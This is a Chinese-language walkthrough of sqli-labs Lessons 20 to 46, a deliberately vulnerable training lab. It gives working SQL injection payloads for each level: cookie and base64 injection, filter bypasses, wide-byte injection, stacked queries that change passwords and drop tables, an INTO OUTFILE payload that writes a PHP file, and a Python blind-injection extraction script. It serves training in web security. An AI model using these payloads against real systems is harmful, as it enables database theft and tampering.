Lesson-20 (有报错cookie信息的POST注入)

这关源代码太长了 我浓缩了一下代码 看下代码的主要逻辑

</form>
<?php
// 判断第一次客户端的请求是否携带了cookie
if (!isset($_COOKIE['uname'])) {
    function check_input($value)
    {
        //防止sql注入
    }
    // 对用户名和密码进行了严格的过滤
    if (isset($_POST['uname']) && isset($_POST['passwd'])) {
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);
        $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql);
        $row1 = mysql_fetch_array($result1);
        $cookee = $row1['username']; //将数组中的用户名当作了cookie的值 
        // 判断用户名密码是否正确
        if ($row1) {
            setcookie('uname', $cookee, time() + 3600); //设置了cookie的值 和过期时间
            //跳转到登录成功的页面
            header('Location: index.php');
            echo "I LOVE YOU COOKIES";
            //echo 'Your Cookie is: ' .$cookee;
            print_r(mysql_error());
            echo '<img src="../images/flag.jpg" />';
        }
        // 用户名密码不正确 输出mysql错误 返回登录失败的图片
        else {
            //echo "Try again looser";
            print_r(mysql_error());
            echo '<img src="../images/slap.jpg" />';
        }
    }
}
// 如果携带了cookie 那么就判断是否点了清除cookie的按钮
else {
    // 没有点击删除cookie的按钮
    if (!isset($_POST['submit'])) {
        $cookee = $_COOKIE['uname'];
        $format = 'D d M Y - H:i:s';
        $timestamp = time() + 3600;
        echo '<img src="../images/Less-20.jpg" />';
        echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT']; //这里也是没有过滤 反射型xss
        echo "YOUR IP ADDRESS IS : " . $_SERVER['REMOTE_ADDR'];
        echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
        echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
        // 用cookie的值去查询表得到数据 
        $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        $result = mysql_query($sql);
        // 没有查到存在这个用户就退出并且报错
        if (!$result) {
            die('Issue with your mysql: ' . mysql_error());
        }
        $row = mysql_fetch_array($result);
        // 数据匹配就输出用户的信息
        if ($row) {
            echo 'Your Login name:' . $row['username'];
            echo 'Your Password:' . $row['password'];
            echo 'Your ID:' . $row['id'];
        } else {
            echo '<img src="../images/slap1.jpg" />';
        }
        echo '<form action="" method="post">';
        echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
        echo '</form>';
    }
    // 点击了删除cookie的按钮就删除cookie 
    else {
        echo " Your Cookie is deleted";
        setcookie('uname', $row1['username'], time() - 3600); // 销毁cookie的方法
        header('Location: index.php'); //跳转到登录页面
    }
}
?>

通读代码以后 就知道整个流程是怎么回事了

cookie小知识

原理

image-20221108014849413.png

通过header(),setcookie()操作响应头

语法格式:header(键:值)

header("content-type:charset=gbk");
header('name:hacked by gh0stoo1');

image-20221110105905423.png

设置cookie
<?php
setcookie("name","hacker")

在响应头中可以看到cookie的信息

image-20221110111203846.png

客户端有cookie信息后,每次请求服务器,cookie的信息都会自动的放到请求头中带到服务器

image-20221110111910246.png

who are you?hacker man
获取cookie的值
echo $_COOKIE['name'];
echo $_COOKIE['sex'];
注意:
  1. 关闭浏览器后,cookie消失。这种cookie称为临时性cookie
  2. cookie的信息不可以在不同的浏览器中共享 不可以跨浏览器

思考:如下代码为什么第一次执行报错,第二次执行正常?

<?php
setcookie("name", "hacker");
echo $_COOKIE['name'];

因为第一次去访问请求服务器 服务器才给你cookie 这个时候又要输出 cookie 所以会报错

第二次请求服务器的时候 客户端已经从上一次交互中 获取到了cookie 所以第二次没有报错

知道了这些知识 我们来做题目

抓包输入正确的用户名密码

POST /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

用户名密码正确 服务器验证通过 发送给我们cookie 第一次交互结束

客户端由于验证成功跳转到登录页面 要向服务端发送get请求获取页面 这里面就携带了我们的cookie

GET /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Connection: close
Cookie: uname=admin; JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1

产生注入的语句如下

$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

因此我们把get请求的包发送到repeater进行注入就行了

注意cookie信息一定要正确 因为代码对cookie信息进行了验证

cookie就是用户名 存在用户名或者sql语句执行正确才输出信息

 $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        $result = mysql_query($sql);
        // 没有查到存在这个用户就退出并且报错
        if (!$result) {
            die('Issue with your mysql: ' . mysql_error());
        }
        $row = mysql_fetch_array($result);
        // 数据匹配就输出用户的信息
        if ($row) {
            echo 'Your Login name:' . $row['username'];
            echo 'Your Password:' . $row['password'];
            echo 'Your ID:' . $row['id'];
        } else {
            echo '<img src="../images/slap1.jpg" />';
        }

payload如下:

GET /sqli-labs-master/sqli-labs-master/Less-20/index.php HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-20/index.php
Connection: close
Cookie: uname=admin' order by 3#; JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1
cookie: uname
admin' order by 3#
database
' union select 1,2,3#
tables
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
columns
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#
data
' union select 1,group_concat(id),group_concat(email_id) from emails#

ps:由于联合注入 语句执行正确所以后面带不带用户名字都行

xss打自己

echo "YOUR USER AGENT IS : " . $_SERVER['HTTP_USER_AGENT']; //这里也是没有过滤 反射型xss

Lesson-21 (Cookie 注入-base64 编码-单引号和括号)

没啥好说的 只是障眼法 在后端对cookie进行编码 查询的时候进行了解码

并不是加密 直接放答案

以下明文payload需要经过base64编码

cookie: uname
YWRtaW4nKSBvcmRlciBieSAzIw==
database
') union select 1,2,3#
tables
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
columns
') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#
data
') union select 1,group_concat(id),group_concat(email_id) from emails#

Lesson-22 (Cookie 注入-base64编码-双引号)

payload

IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoaWQpLGdyb3VwX2NvbmNhdChlbWFpbF9pZCkgZnJvbSBlbWFpbHMj

Lesson-23 (单引号字符型注入——过滤了#和--)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

新的单行注释 ;%00

判断注入 
?id=' and 1=1 or '1'='2  ?id=' and 1=1 or '1'='1 (回显不一样来判断)
输入单双引号来判断是什么包裹
database
?id=' union select 1,database(),3 or '1
table
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();%00
columns
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00
data
?id=-1' union select 1,group_concat(username),group_concat(password) from users;%00

Lesson-24 (POST型注入 二次注入 存储型注入)

关键代码如下

    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

可以看到 这关对代码都进行了过滤 但是在执行update操作的时候没有对username进行转义

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

注册的用户名admin'# 在数据库执行更新密码的操作的时候

UPDATE users SET PASSWORD='$pass' where username='admin'

修改掉了admin的密码 这就是二次注入 和逻辑越权有类似的地方 不过还是sql注入的问题

Lesson-25 (GET型 过滤了or和and GET提交数字型注入)

黑名单函数

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    return $id;
}

看到是替换为空 双写就完了

?id=1' oorrder by 4%23
database
?id=-1' union select 1,2,database()%23
table
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
column
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'%23
data
?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users%23

Lesson-25a (过滤了or和and GET型数字型注入)

payload

?id=-1 union select 1,group_concat(username),group_concat(passwoorrd) from users%23

Lesson-26 (GET型 字符型注入 过滤了空格 and or 和注释-单引号)

首先来看下这个黑名单函数

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

\s (space)匹配任意的空白符,包括空格,制表符(Tab),换行符,中文全角空格等

可以看到过滤了所有的空白字符 但是过滤方法是替换为空 所以我们还是有机会绕过的

这里提供几种绕过的思路

# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);

新的单行注释 ;%00(当然你也可以直接用单引号闭合)

?id='union(select(1),(2),database());%00
?id='union(select'a','b',database());%00

报错注入

database
?id=1'aandnd(updatexml(1,concat(0x7e,database()),1));%00
?id='||updatexml(1,concat(0x7e,(select(database())),0x7e),1);%00
table
?id='||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1);%00
column
?id='||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1);%00
data
?id='||updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1);%00

Lesson-26a(GET型 字符型注入 过滤了空格 union select)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注意闭合方式就行了

Lesson-27(GET型 字符型注入 过滤了空格 union select)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

​ 过滤了 union select 但是没有完全过滤 例如uniOn sElect

​ 没有过滤空白制表符号

database
?id='unioN%0AselecT%0A1,2,database();%00
table
?id='unioN%0AselecT%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00
column
?id='unioN%0AselecT%0A1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users';%00
data
?id='unioN%0AselecT%0A1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00

Lesson-27a(GET型字符型注入 过滤了空格 union select)

区别为双引号包裹

?id="%0AunioN%0AselecT%0A1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00

Lesson-28 (GET型 字符型注入 过滤了空格 /unions+select/i 和 注释/* -- #)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

只对/unions+select/i进行了过滤 过滤方式为替换为空

替换为空 就非常容易绕过 双写就行了

union%0aselect-----》ununion%0aselection%0aselect

payload如下

判断存在注入的方法
?id=1');%00
?id=1') or ('1'='1
database
?id=')%0aununion%0aselection%0aselect%0a1,2,database();%00
table
?id=')%0aununion%0aselection%0aselect%0a1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database();%00
column
?id=')%0aununion%0aselection%0aselect%0a1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users';%00
data
?id=')%0aununion%0aselection%0aselect%0a1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00

Lesson-28a (GET型 字符型注入 过滤了 /unions+select/i)

过滤的更少了

?id=')%0aununion%0aselection%0aselect%0a1,group_concat(username),group_concat(password)%0Afrom%0A`users`;%00

Lesson29-31 GET -Error based-IMPIDENCE MISMATCH-Having a WAF in front of web application.

注意:此关卡需要配置jsp环境 因为我配置环境不成功 搞了很久放弃了 所以只能看看别人的视频

参考视频链接https://www.bilibili.com/video/BV1JE411b7kz?t=10.3

就是简单的http参数污染

waf检测的是第一个参数 有严格的过滤 在第二个参数输入注入语句就可以了

?id=1&id=payload

Lesson-32 (GET型 字符型'$id'注入 自定义addslashes函数 宽字节注入)

waf过滤

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

可以看到 对单引号 双引号 反斜杠都做了过滤

将用户输入的 ' 替换为 \' "替换为\" 替换为\\ 类似addslashes()函数的功能

其实过滤引号有几种办法

  1. 本身就是数字型注入 和引号无关 注入语句有引号就采用16进制
  2. 如果字符集是gbk编码的 那么就可以用宽字节注入 原理就是想办法让反斜杠失去转义的作用
  3. 如果没有过滤反斜杠 那么可以用反斜杠来转义预置的引号 利用条件就是 后面还有预置的引号来包裹 使得注入变成盲注
select * from table where username='admin\' and password='or 1=1-- -'

回归到这道题目

产生注入的地方 PS:开发这靶场的大神好像是印度人 怎么会使用gbk编码呢?

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

宽字节注入的原理就是 让反斜杠失去转义的作用

经过url编码的希腊字母β==>%df和会组成一个中文字母 类似'1%df\' ==>'1运'

mysql直接忽略这个字母 引号就又起到了闭合的作用

payload如下 注意表名需要转换成16进制

判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23 
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column 
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data 
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23

PS:实战基本不存在报错注入 上线的项目谁会把数据库错误提示显示出来???

Lesson-33 (GET型 字符型'$id'注入 addslashes函数 宽字节注入)

同32关

payload如下 注意表名需要转换成16进制

判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23 
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column 
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data 
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23

Lesson-34 (POST型 字符型'$id'注入 addslashes函数 宽字节注入)

burp抓包改 直接输入会又被url编码一边

POST /sqli-labs-master/sqli-labs-master/Less-34/ HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-34/
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1

uname=admin%df' or 1=1#&passwd=admin&submit=Submit

注入一般都是在username里面注入的 密码一般会加密

其实原理是一样的 就是换了个提交方式

SELECT username, password FROM users WHERE username='admin%df' or 1=1#' and password='$passwd' LIMIT 0,1
判断是否存在注入
admin%df' or 1=1#
database
-1%df%27 union select 1,database()#
table
-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
column
-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
data
-1%df%27 union select group_concat(username),group_concat(password) from security.users#

Lesson-35(GET型 数字型注入 addslashes函数)

连引号都不需要了 数字型过滤引号等于白费功夫 哈哈哈哈

判断列数
?id=1 order by 4
database
?id=-1 union select 1,2,database()
tables
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
column
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
data
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users

Lesson-36(GET型 mysql_real_escape_string 函数 x00 n r \ ' " 和 x1a)

老办法

判断是否存在注入
1%df'%23
回显不一样来判断
1%df' and 1=1%23 1%df' and 1=2%23 
database
?id=-1%df%27 union select 1,2,database()%23
table
?id=-1%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column 
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data 
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users%23

Lesson-37 (POST型 mysql_real_escape_string 函数 x00 n r \ ' " 和 x1a)

同34关 burp抓包改 直接输入会又被url编码一遍

POST /sqli-labs-master/sqli-labs-master/Less-37/ HTTP/1.1
Host: 192.168.114.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.114.200
Connection: close
Referer: http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-37/
Cookie: JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=jg38g26n67p8gea32btn32lpd4
Upgrade-Insecure-Requests: 1

uname=admin%df' or 1=1#&passwd=admin&submit=Submit
判断是否存在注入
admin%df' or 1=1#
database
-1%df%27 union select 1,database()#
table
-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
column
-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
data
-1%df%27 union select group_concat(username),group_concat(password) from security.users#

Lesson-38 (GET型 堆叠注入)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql,"<br>";
/* execute multi query */
if (mysqli_multi_query($con1, $sql)){
    //
}

所谓的堆叠注入就是多语句一起执行 这个利用条件是后端语句允许多语句查询

mysqli_multi_query($con1, $sql)

payload如下

?id=1';insert into users(id,username,password) values ('38','Lesson38','Stacked Query')--+
判断列数
?id=1 order by 4%23
database
?id=-1' union select 1,2,database()%23
tables
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
column
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23
data
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users%23

Lesson-39 Stacked Query (GET型 堆叠注入 数字型)

?id=1;create table gh0st like users;
?id=1;drop table gh0st;

Lesson-40 Stacked Query String type Blind (GET型 堆叠注入 字符型('id') 无报错)

?id=1');create table Gh0st01 like users;%23
?id=1');drop table Gh0st01 ;%23

Lesson-41 Stacked Query Intiger type blind (GET型 堆叠注入 数字型id 无报错)

?id=1;create table Gh0st02 like users;
?id=1;drop table Gh0st02;

Lesson-42 POST-Error based-String -Stacked (POST型 字符型'id' 堆叠注入 有报错)

这关不让我们注册账户了 也不让我们忘记密码了

直接看源码 看到登录的时候对用户名做了过滤 那么只能对密码注入了

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

payload如下 burp抓包修改

login_user=admin&login_password=admin';insert into users(id,username,password) values ('test42','LessonTest42','Stacked Query')#&mysubmit=Login
login_user=admin&login_password=-2' union select 1,group_concat(username),3 from security.users#&mysubmit=Login

你也可以用以下列语句来修改别人的 密码

黑盒会非常麻烦 但是有源码的话 嘿嘿嘿嘿 有手就行

堆叠注入的前提 对方后端程序使用了多语句执行

login_user=admin&login_password=admin';update users  set  username='Dumb',password='hacker' where username='Dumb'#&mysubmit=Login

Lesson-43 (POST型 字符型('id') 堆叠注入 有报错)

同42关 只不过闭合方式变为了('id')

login_password=-2') union select 1,group_concat(username),3 from security.users#

Lesson-44 (POST型 字符型'id' 堆叠注入 无报错)

同43关 只不过闭合方式变为了'id'

login_password=-2' union select 1,group_concat(username),3 from security.users#

Lesson-45 (POST型 字符型'id' 堆叠注入 无报错)

login_password=-2') union select 1,group_concat(username),3 from security.users#
login_password=1');create table Gh0st01 like users;#
login_password=1');drop table Gh0st01 ;#

# 写入木马
-2'); select 1,2,'<?php phpinfo();?>' into outfile "C:/www/Lesson45xiaoma.php"#

# 盲注
') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#

py脚本

import requests
import time
# login_password=') or 1=1#
url = "http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-45/login.php"
header = {
    "Host": "192.168.114.200",
    "User-Agent":  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "65",
    "Origin": "http://192.168.114.200",
    "Connection": "close",
    "Referer": "http://192.168.114.200/sqli-labs-master/sqli-labs-master/Less-45/index.php",
    "Cookie": "JSESSIONID=FACCB1A4309C93CA00DF90FA4CC1216B; PHPSESSID=2l87c8r2bit36dl33aak6o5t35",
    "Upgrade-Insecure-Requests": "1"
}
# data = dict(login_user='admin', login_password='admin', mysubmit='Login')
# result = requests.post(url=url,headers=header,data=data, allow_redirects=False)
# print(result.status_code)
# getDatabaseLength()
# 获取数据库的名称 ') or substr(database(),1,1)='s'#
def getName():
    name = ""
    str = ",qwertyuiopasdfghjklzxcvbnm0123456789_-"
    for i in range(1,45):
        start = time.time()
        print("正在进行第{0}次注入".format(i))
        for j in str:
            print("猜第{0}个字符是否是{1}".format(i, j))
            # 暴库
            # payload = "') or substr(database(),{0},1)='{1}'#".format(i, j)
            # 爆表
            payload = "') or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}'#".format(i, j)
            # 爆表
            # payload ="') or substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1)='{1}'#".format(i, j)
            # 爆数据
            # payload ="') or substr((select group_concat(password) from security.users),{0},1)='{1}'#".format(i, j)
            data = dict(login_user='admin', login_password=payload, mysubmit='Login')
            result = requests.post(url=url, headers=header, data=data, allow_redirects=False)
            if result.status_code == 302:
                name += j
                print("当前数据库名字/表名/字段名/数据是:"+name)
                break
        if result.status_code != 302:
            print("当前数据库/表/字段/长度是:{0}".format(i-1))
            print("当前数据库名字/表名/字段名/数据是:"+name)
            end = time.time()
            print("总共耗时:{0}".format((end-start)))
            break
getName()

Lesson-46 (GET型 数字型 语句中有order by 有报错)

这关存在sql注入的语句变成了

$sql = "SELECT * FROM users ORDER BY $id";

可以看到是排序 也就是说只返回我们前面查询的结果 联合注入基本是不可能的

一般检测这种排序就用desc asc

?sort=1 desc
?sort=3 asc
?sort=id desc -- 也可以用字段名 但是字段名要靠猜

报错注入在实战中就更不用想了 打打靶场和ctf或许还行

?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

实战最好采用盲注

就是没有order by注入没有回显的情况,这时就该用到盲注了,也就是说采取根据页面回显的状态进行判断的形式来进行布尔盲注。首先这里运用到了一个异或的知识,0异或任何数值都还是这个值的本身,比如说
0^10010的值还是10010。

接着再来看刚刚的简单sql语句

mysql> select * from users order by id desc;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
| 14 | admin4   | admin4        |
| 12 | dhakkan  | dumbo         |
| 11 | admin3   | admin3        |
| 10 | admin2   | admin2        |
|  9 | admin1   | admin1        |
|  8 | admin    | admin         |
|  7 | batman   | mob!le        |
|  6 | superman | genious       |
|  5 | stupid   | stupidity     |
|  4 | secure   | crappy        |
|  3 | Dummy    | p@ssword      |
|  2 | Angelina | I-kill-you    |
|  1 | Dumb     | hackerbygh0st |
+----+----------+---------------+
13 rows in set (0.00 sec)

这里的desc是可控字符串的话,我们让这条语句变形:

mysql> select * from users order by id^0;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
|  1 | Dumb     | hackerbygh0st |
|  2 | Angelina | I-kill-you    |
|  3 | Dummy    | p@ssword      |
|  4 | secure   | crappy        |
|  5 | stupid   | stupidity     |
|  6 | superman | genious       |
|  7 | batman   | mob!le        |
|  8 | admin    | admin         |
|  9 | admin1   | admin1        |
| 10 | admin2   | admin2        |
| 11 | admin3   | admin3        |
| 12 | dhakkan  | dumbo         |
| 14 | admin4   | admin4        |
+----+----------+---------------+
13 rows in set (0.00 sec)

这样的话,由于order by默认是升序排列的,没有desc也没有影响,同时,加上了^0也还是id本身,所以跟原来正常的排序没有任何的变化。

但如果是加上了^1的话,就会跟原来的排序发生明显变化,盲注也就通过这里的变化来判断我们注入的sql语句是否返回1。

select * from users order by id^1;
mysql> select * from users order by id^1;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
|  1 | Dumb     | hackerbygh0st |
|  3 | Dummy    | p@ssword      |
|  2 | Angelina | I-kill-you    |
|  5 | stupid   | stupidity     |
|  4 | secure   | crappy        |
|  7 | batman   | mob!le        |
|  6 | superman | genious       |
|  9 | admin1   | admin1        |
|  8 | admin    | admin         |
| 11 | admin3   | admin3        |
| 10 | admin2   | admin2        |
| 12 | dhakkan  | dumbo         |
| 14 | admin4   | admin4        |
+----+----------+---------------+
13 rows in set (0.00 sec)

最终的sql注入语句变为:

 select * from users order by id^(substr(database(),1,1)='s');
 -- -查询结果和id^1 一致
 mysql> select * from users order by id^1;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
|  1 | Dumb     | hackerbygh0st |
|  3 | Dummy    | p@ssword      |
|  2 | Angelina | I-kill-you    |
|  5 | stupid   | stupidity     |
|  4 | secure   | crappy        |
|  7 | batman   | mob!le        |
|  6 | superman | genious       |
|  9 | admin1   | admin1        |
|  8 | admin    | admin         |
| 11 | admin3   | admin3        |
| 10 | admin2   | admin2        |
| 12 | dhakkan  | dumbo         |
| 14 | admin4   | admin4        |
+----+----------+---------------+
13 rows in set (0.00 sec)

select * from users order by id^(substr(database(),1,1)='e');
-- -错误的猜测 查询结果和id^0 一致
mysql> select * from users order by id^0;
+----+----------+---------------+
| id | username | password      |
+----+----------+---------------+
